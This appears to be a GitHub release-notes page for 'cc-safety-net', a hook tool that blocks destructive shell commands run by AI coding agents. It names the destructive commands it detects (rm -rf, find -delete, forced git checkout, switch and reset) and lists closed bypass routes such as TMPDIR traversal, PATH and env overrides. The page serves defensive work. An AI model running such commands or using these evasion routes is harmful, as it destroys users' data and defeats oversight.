.cc-safety-net/rules/with a declarative config, replacing the legacyverify-configworkflow. New CLI subcommands (rule init,rule list,rule migrate,rule remove) manage the full lifecycle. - Pi coding agent extension — Added Pi as a supported integration with hook support and doctor detection via runtime probe.
- Kimi CLI integration — Added as a supported coding agent with doctor detection, system info, and display.
- Centralized integration registry — Hook integrations are now driven by a shared metadata module with flag-based lookup, replacing per-integration boilerplate.
- Expanded destructive command detection — Better coverage for git long-option abbreviations, wrapper commands,
find -execnested analysis, awk escape decoding, ANSI-C quotes,timebuiltin prefixes, and shell variable targets inrm -rf.
Breaking Change: Custom Rules Migration
The custom rules system has moved from legacy inline config files to a rulebook-based layout. Legacy inline config files (
.safety-net.jsonand~/.cc-safety-net/config.json) are no longer loaded at runtime. If they contain rules, commands now fail closed (stay blocked) until you migrate. Please read more at here.Security & Reliability
- Fail closed on invalid hook input, analysis errors, and config loading failures.
- Expanded secret redaction (provider tokens, command substitution env assignments).
- Block git SSH env overrides and shell/awk analyzer bypasses.
- Resolve
rmtargets and TMPDIR symlinks before safety checks (TOCTOU hardening). - Rollback config and lock on
--delete-sourcefailure.
CLI & UX
- Renamed builtin OpenCode plugin export to
cc-safety-net. - Migrated env mode reading to
CC_SAFETY_NET_*prefixed variables. - Removed legacy
verify-configcommand flags. - Improved
rulecommand help output and formatting.
Internal
- Major refactor: modular
shell/,analyze/,rules/, andgit/directory layout. - Declarative CLI command dispatch with const-asserted command registry.
- Shared hook adapter, child-analyzer, and deny-output helpers to eliminate duplication.
- Added jscpd duplicate detection to CI checks.
- Comprehensive test coverage for all new features and edge cases.
2026年6月5日
GitHub リリースv0.9.0
v0.9.0
- 破壊的変更
- 移行
- 連携
- 修正
New Features
- Add Codex Plugin
- Add WorkTreeMode
Changed
- Add worktreeMode option to AnalyzeOptions and TraceStep
- Add linked worktree detection module
- Relax local git discards in linked worktrees
- Add SAFETY_NET_WORKTREE to CLI surfaces and explain
- Add AnalyzeNestedOverrides type and envAssignments to AnalyzeOptions
- Track cwd changes from env -C/--chdir in wrapper stripping
- Propagate env/cwd/worktree overrides through analyzeNested
- Propagate wrapper env/cwd to nested analysis in segment
- Handle remote parallel execution and wrapper info propagation
- Propagate wrapper env/cwd through xargs child analysis
- Track sudo/env chdir and split-string in wrapper stripping
- Track exported git context env vars across shell segments
- Propagate wrapper env/cwd through interpreters, BusyBox, parallel, and xargs
- Verify linked worktree config matches root before relaxing
- Tighten worktree relaxation for recursive submodules and double-force clean
- Support sudo --chdir and git context append env assignments
- Handle typeset, declare, and shell git context env assignments
- Track GIT_INDEX_FILE as git context override and verify gitdir backlink
- Fail-closed on dynamic git arguments and sudo chdir/login in worktree mode
- Track allexport mode and append assignments for shell git context
- Track keyword export and readonly in shell env context, improve builtin resolution
- Treat dynamic stdin and replacement tokens in parallel and xargs as non-worktree-safe
- Fail-closed on dynamic arguments, recursive submodules, and forced branch resets in worktree mode
- Physical path resolution and symlink hardening
- Track git config envs, keyword exports, readonly, and builtin
- Improve parallel placeholder detection and dynamic args handling
- Worktree hardening with PATH bypass and config env detection
- Seed exported names from process env and git config-affecting env vars
- Read local git config for recursive submodule check before invoking git binary
- Expand trusted git binaries and export for testing
- Add Windows Git binary paths to trusted binaries list
- Add Codex platform hook detection
- Color error messages red in hooks section
Breaking Changes
- Migrate slash commands to skills format
Fixed
- Keep ref-moving resets blocked, relax only local discards
- Use wrapper-resolved cwd in explain segment and disable fallback worktree relaxation
- Propagate env assignments and wrapper cwd into nested analysis
- Use platform-aware path separators for Windows compatibility
- Use wrapper cwd in xargs and parallel rm analysis
- Compare paths by inode identity with normalized realpath fallback
- Handle Windows native realpath prefixes in path comparison
- Handle double-quoted escapes in git config value parsing
- Treat missing trusted git binary as recursive submodule config enabled
- Parse commented JSON in Copilot CLI config files
- Handle Claude Code plugin list without blank separators
- Parse Codex config section headers with inline comments
- Use effective enabled state for Gemini CLI extension detection
- Exclude metadata email lines from Claude Code plugin block detection
Related Issues
- Issue #44: Relax destructive-change rules when running inside a git worktree
- Issue #47: [Feature]: Allow to bypass some rules
- Issue #46: [Feature]: Support for Codex (closed by PR #49)
Related PRs
2026年5月7日
GitHub リリースv0.8.2
v0.8.2
- 修正
Fixed
- Allow
rm -rffor explicit temp-directory targets such as/tmp/...,/var/tmp/..., and$TMPDIR/...even when the current working directory is$HOME- Move home-directoryrmclassification into the sharedrules-rmanalyzer so blocking decisions andexplainoutput follow the same target-aware pathRelated Issues
- Issue #41: False positives block legitimate cleanup operations and string literals in gh commands
Related PRs
- PR #42: fix(rules-rm): allow temp targets when cwd is home directory
2026年3月25日
GitHub リリースv0.8.1
v0.8.1
- 連携
- 修正
New Features
- Detect
copilot-safety-netplugin installs indoctorviacopilot plugin list
Fixed
- Populate
configPathconsistently when Copilot CLI is detected through the plugin flow - Report
copilot-pluginas the config path for plugin-based Copilot CLI detection
Related PRs
- PR #40: feat: add copilot cli plugin detection to doctor command
2026年3月24日
GitHub リリースv0.8.0
v0.8.0
- 連携
- 修正
New Features
- Add
doctorsupport for GitHub Copilot CLI, including detection of Safety Net hooks in repository hook files, user hook files, and inline Copilot settings with version-aware diagnostics. - Block
git switch --force,git switch --discard-changes, andgit checkout --force/-f.
Changed
- Show the detected Copilot CLI version in
doctoroutput and probe Copilot version commands more quickly and reliably. - Expand Copilot CLI setup documentation to cover hook-file and inline config variants, config precedence,
disableAllHooks, andCOPILOT_HOME.
Fixed
- Close a
TMPDIRpath traversal bypass so non-temp overrides cannot escape/tmp,/var/tmp, or the system temp directory. - Harden shell parsing so destructive commands are still detected inside redirects, nested command substitutions, arithmetic expansions, grouped subshells, process substitutions, and attached backticks.
- Fix
git checkoutargument parsing for ambiguous ref/pathspec cases and documented option variants without misclassifying value-taking flags such asgit switch -cfeature.
2026年3月21日
GitHub リリースv0.7.1
v0.7.1
- 連携
- 修正
Core
- c439be8 fix: strip trailing separators in path normalization for cross-platform comparison
- 33012b1 fix: resolve cwd to absolute path in explain config
- 300ee42 fix: handle Windows path separators in rm command analysis
- a4db304 fix: windows path separator
Claude Code
No changes in this release
OpenCode
No changes in this release
2026年1月25日
GitHub リリースv0.7.0
v0.7.0
- 連携
- 修正
Core
- 25c18a2 feat: add explain command and structured CLI help
- 976e382 fix: add fallback for missing timestamp in session ID
- e187b3f fix: rename outputDeny to outputCopilotDeny
- db01a91 feat: add GitHub Copilot CLI hooks integration
Claude Code
No changes in this release
OpenCode
No changes in this release
Thank you to 1 community contributor:
- @crmitchelmore:
- feat: add GitHub Copilot CLI hooks integration
- fix: rename outputDeny to outputCopilotDeny
- fix: add fallback for missing timestamp in session ID
2026年1月23日
GitHub リリースv0.6.2
v0.6.2
- 連携
- 修正
Core
- 58cc257 feat: add doctor command diagnostics
Claude Code
- 44cb35c fix(windows): explicitly invoke cc-safety-net.js with node
OpenCode
No changes in this release
Thanks to @jacoballen4534 for identifying and suggesting the fix for Windows support in #21.
2026年1月19日
GitHub リリースv0.6.0
v0.6.0
- 連携
- 修正
Core
- 5e3b4d8 feat: add statusline command
- b2eed5e fix: block commands that exceed recursion depth
Claude Code
- e121857 feat: add /set-statusline slash command
- 8b0bb67 fix: use local binary in hook instead of npx for faster execution
OpenCode
No changes in this release
Thanks to @lgandecki for identifying the npx performance overhead.
2026年1月15日
GitHub リリースv0.5.1
v0.5.1
- 連携
Core
- 6f40164 feat: add builtin commands for opencode plugin
Claude Code
No changes in this release
OpenCode
No changes in this release
2026年1月11日
GitHub リリースv0.5.0
v0.5.0
- 連携
- 修正
Core
- cfb5b25 fix: drain stderr in gemini hook tests
- 5075018 feat: add gemini cli compatibility
Claude Code
No changes in this release
OpenCode
No changes in this release
2026年1月10日
GitHub リリースv0.4.1
v0.4.1
- 連携
- 修正
Core
No changes in this release
Claude Code
- 997bb25 fix(commands): simplify verify-custom-rules documentation
- 23dd9e1 fix(commands): improve set-custom-rules flow and schema documentation
OpenCode
- b656671 feat(.opencode): add OpenCode command definitions
2026年1月8日
GitHub リリースv0.4.0
v0.4.0
- 破壊的変更
- 連携
- 修正
Core
- 09aedb4 feat: add VERSION constant synchronization in bin file during publish
- 415509e feat: add plugin.json version synchronization in publish script
- e1ccc2d feat: add automated npm publishing script with changelog generation
- aac915e fix: use GITHUB_REPOSITORY env var in changelog script
- 02e0f7a feat: add schema build script
- 980e8b2 feat: auto-add $schema to config files during verification
- d464897 fix: improve TMPDIR override detection and implement strict mode
- 9b3e56c fix: handle TMPDIR edge cases in override detection
- e890307 feat: add paranoid mode support to OpenCode plugin
- a6abab9 fix: use cwd from hook input instead of tool_input.workdir
- 819ab9a fix: update HookInput type to match Claude Code schema
- e1a0700 fix: handle undefined cwd in loadConfig
- 1435c59 feat: display blocked segment in OpenCode plugin errors
- 2f58977 feat: display blocked segment in deny output
- 91acb1b feat: add AnalyzeResult type for structured block info
- 1e298cb feat: rewrite from python to typescript
Claude Code
- ac46e94 fix: remove extra quotes from hook command path
2026年1月7日
GitHub リリースv0.3.2
v0.3.2
- 修正
v0.3.2 (2026-01-03)
Fix
- add AskUserQuestion tool to improve UX
2026年1月2日
GitHub リリースv0.3.1
v0.3.1
- 修正
v0.3.1 (2026-01-02)
Fix
- Add cross-platform script execution compatibility
2026年1月2日
GitHub リリースv0.3.0
v0.3.0
- 連携
- 修正
v0.3.0 (2026-01-01)
Feat
- add short option expansion to custom rule matching
- add commands for custom rules management
- detect find -exec rm -rf as destructive pattern
- add verify_config script for config validation
- integrate custom rules into hook analysis
- add custom rule matching logic
- add config loading module for user-configurable rules
Fix
- stop _short_opts parsing at non-alpha chars and -- marker
- Block rm -rf of cwd itself even when under /tmp/
Refactor
- improve verify_config output formatting
- return ValidationResult from validate_config_file
2026年1月1日
GitHub リリースv0.2.0
v0.2.0
- セキュリティ
- 破壊的変更
- 修正
v0.2.0 (2025-12-29)
Feat
- add audit logging for denied commands
- add paranoid mode environment variable checks
- detect dangerous commands via xargs and parallel
- block git worktree remove --force
- block git checkout <ref> <pathspec> without --
- block find -delete destructive command
Fix
- Add cross-platform script execution compatibility
- recognize rm -R (uppercase) as recursive and respect -- delimiter
- preserve case sensitivity for git branch -D detection
Refactor
- rename strict to paranoid for rm rule parameter
2025年12月29日
GitHub リリースv0.1.0
v0.1.0
v0.1.0 (2025-12-26)
Feat
- initial implementation
2025年12月25日
GitHub リリース